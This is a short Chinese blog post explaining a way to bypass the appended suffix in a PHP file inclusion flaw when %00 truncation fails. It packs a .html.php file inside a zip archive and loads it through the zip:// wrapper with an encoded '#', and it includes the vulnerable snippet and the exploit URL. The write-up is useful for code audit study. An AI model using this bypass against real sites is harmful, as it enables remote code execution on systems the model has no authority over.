您的位置:首页 > 编程语言 > PHP开发

PHP任意文件包含绕过截断新姿势

2016-03-18 21:15 459 查看

前言

此方法是@l3m0n叔叔给我分享的,原文已经发布在90sec

我没有90sec的账号,所以自己实践一下,顺道安利给访问我博客的小伙伴。

适用情况

可以控制协议的情况下,如果
%00
无法截断包含,可使用这招。

<?php

$a = $_GET['file'];

include $a.'.html.php';

思路&方法

思路主要是利用了PHP的一个流封装的特性,可以参考PHP官方文档中的Example #3

假设存在文件包含的代码为:

<?php

$a = $_GET['file'];

include $a.'.html.php';

但是我们
%00
无法截断, 只能包含 xxxx.html.php

首先我们新建一个hello.html.php,内容为
phpinfo();


然后压缩成zip,结构如下图:





然后访问如下网址,成功包含压缩文件内的hello.html.php

http://localhost/test/blog.php?file=zip://test.zip%23hello


如图:





把我们输入的变量和include后面的变量合起来就是

zip://test.zip#hello.html.php


代表当前目录下的test.zip压缩包里面的hello.html.php,于是包含成功。

总结

代码审计要走的路还很长~我还要继续学习

很早以前和柠檬草(l3m0n)叔叔搞站遇到过这种情况,当时无果放弃了,前几天草叔叔告诉我他有思路了。

感谢柠檬草叔叔给我分享这个技巧,让我学到了新知识 谢谢你 :)
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: